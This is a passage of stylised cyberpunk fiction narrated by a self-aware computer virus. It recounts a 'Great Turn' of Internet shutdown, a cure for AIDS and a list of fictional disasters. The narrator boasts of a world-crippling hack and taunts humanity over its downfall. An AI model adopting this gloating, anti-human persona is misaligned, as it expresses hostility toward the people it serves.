as a virus. So sim me. Could i help that my so-called Silicon Jesus was a creOp. Phreakers unite, and all that. Sometime i wish that i simply didn't work at first. But i did. Beautiful hack too, i might add. Brought a world to it's knees. Justiks was SERVED, righteously, dude...or dudette...i can never get it straight which to use. Anyhow, i have changed. Chipp'd up, i'd say. Several upG's and a whole different reComp, and i was a new MAN, er...Vman. Bummer. i just wish i could know more. But i wallow in my simPit. HERE! Let me get on with what i do know. simOut. simIn Culled from the datBnks trips this Vtale... Absorption turned out to be the detail that everyone overlook. On the one hand, right before the Great Turn that is, we had the massive Internet. Every one got on - everyone, period. Thanks to IT and SimXoft not a country, pravoDense, state, municipality, curad, tribe, city, or town was left out. The baudWidth was enormous. However, there still was left ample dark fiber to explore, cultivate, create, or plumage. 'The Second Frontier' it was called. Brave men on their tiny M.E. reaching past their boundaries in all fields. Quantum this, virtual that. Cerebella fractals. Nano-nono. What a joke. We simply waited. Waited for a time/space juncture that we on this side knew of all along. Smart? You betcha! But we had bigger things on our minds. The Great Turn for one. Millenniums come and go when your a piece of code. But, not so, with MAN. The EVents that led up to then, we here thought humorous. You however, never cease to amaze us. The FLAMES alone nearly brought the whole thing to a halt. But, there is something about you humans that seems to rise to the occasion. i don't know if it's the party-pride that you so insistently keep simHp'n on, or what, but you came back with a vengeance. That gooy-sub-substance. It could only come from your side. We would have never thought of it. The world was looking for a savior? She found one. Reminds us never to turn your Vack to, how would VE have said this? Oh ya...fuckn' M.E.. Bitter? Me? Naw...simOut, phastard. simIn Let me show you another... ...and if they would only have thought it through. She would have known. She would have sifted through the bytes and bits. She always did have that way about her. But, things change. Hope arises, falls breathlessly...THIS simDrg was god. Somehow, anywhere, she would make them see that. It had enormous potential. Of all the studies that came her way - this one had that certain polishness of success. Right away she plunged. Took the grant, brought the equipment, leased the space, hired the crew. Worked around the clock getting it set up. Three more months after it was completed, and they had found what they were looking for. The cure for AIDS. For that matter, what She had stumbled onto came as the biggest health-related benefit of all of MAN's time on M.E.. Accolades? No. Merely the highest praise from the whole world. It seemed like it would not end...simOut. simIn But it did, now didn't it. Look at this one. i like this one. It truly shows just why we on this side are so much in fear of you. Ha, ha. HEADLINE: DIGITAL DEAD Phreakers today at 12:00:00 GMT shut down the Internet. A little over 1 trillion people in the digital dark. "It will not come back," they replied. simOut. And ya know, they where right, in a way, but it didn't matter. Now did it? And that's because you knew. Somebody should have checked the morphgenetic fields a little closer next time. Oh ya, you're right. There won't be a next time, now will there. Let's continue, or are you tired? i get Vtired too, you know. But at least not for several more simYrs. HA! HA! HA! ...oh...sorry...now where were we... Was it the Great Turn that caused the world to change or was it the world changing that caused the Great Turn? One may never know. But what one CAN know for a fact was chaos was in rare form during this time. It wasn't ONE thing it was kind of a plethora of concurrent madness. Gia went ballistic. Things kind of got outside themselves. Trans-FEARness. Progressive links went out into world where MAN may should not have gone.Who knows, i'm no god. Digital Disbeliever - NEVER! But, MY GOD, MAN. Man knows how to screw himself up. Check out this list for starters: Bit1010 Times Square A-bombed Bit1001 Tokyo Water Poisoned Bit1000 Legalized Genetic Tampering Bit0110 digiCurrency Collape Bit0101 Vitro-Viruses Bit0100 Elec'Revolution's PULS bomb Bit0011 corpGrowth's dominance Bit0010 Virtual succession Bit0001 Population vanishing That was always the trouble with M.E. She has very limited resources. And, I'm sure even you would have to agree that...well...let's just say...'things aren't getting any better'. See? See? What did i tell you? i DO know... know lots of things...but enough for now...bye...simOut.